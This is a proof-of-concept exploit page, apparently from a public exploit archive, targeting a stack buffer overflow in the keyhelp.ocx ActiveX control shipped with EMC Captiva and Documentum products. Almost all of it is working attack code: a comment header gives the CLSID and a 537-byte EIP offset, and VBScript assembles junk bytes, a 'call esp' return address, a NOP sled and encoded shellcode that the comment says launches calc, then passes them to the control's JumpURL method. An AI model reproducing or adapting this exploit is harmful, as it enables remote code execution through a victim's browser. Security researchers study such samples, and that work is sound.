Multiple EMC products remote buffer overflow exploit that takes advantage of keyhelp.ocx version 1.2.312.
861211011ec04b8ec31d45c7a4403ea58f6c226627dbdec4741e684a617b6b6f<!--
EMC multiple products KeyWorks KeyHelp Module (keyhelp.ocx 1.2.312) remote
buffer overflow exploit
(ie8 xp sp3)
by Nine:Situations:Group::pyrokinesis
site: http://retrogod.altervista.org/
tested products:
EMC Captiva QuickScan Pro 4.6 sp1
EMC Documentum ApllicationXtender Desktop 5.4
and possibly other products carrying quickscan
CLSID: {B7ECFD41-BE62-11D2-B9A8-00104B138C8C}
Progid: KeyHelp.KeyCtrl.1
Binary Path: C:\WINDOWS\system32\KeyHelp.ocx
KillBitted: False
Implements IObjectSafety: True
Safe For Initialization (IObjectSafety): True
Safe For Scripting (IObjectSafety): True
JumpMaddedID() and JumpURL() methods suffer of the same stack based buffer overflow
eip is overwritten after 537 bytes through the second argument, you can touch SEH even
-->
<html>
<object classid='clsid:B7ECFD41-BE62-11D2-B9A8-00104B138C8C' id='KEYHELPLib' />
</object>
<script language='vbscript'>
//executing calc
scode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _
unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _
unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _
unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _
unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54") & _
unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37") & _
unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48") & _
unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38") & _
unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c") & _
unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e") & _
unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48") & _
unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54") & _
unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38") & _
unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43") & _
unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37") & _
unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a") & _
unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b") & _
unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33") & _
unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57") & _
unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49") & _
unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36") & _
unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a")
jnk = string(537,"A")
eip = unescape("%67%41%41%7e") '0x7E414167 call esp user32.dll
nop = string(16,unescape("%90"))
mapID=1
pstrChmFile= jnk + eip + nop + scode
pstrFrame="aaaaaaaa"
'KEYHELPLib.JumpMappedID mapID,pstrChmFile,pstrFrame
KEYHELPLib.JumpURL mapID,pstrChmFile,pstrFrame
</script>
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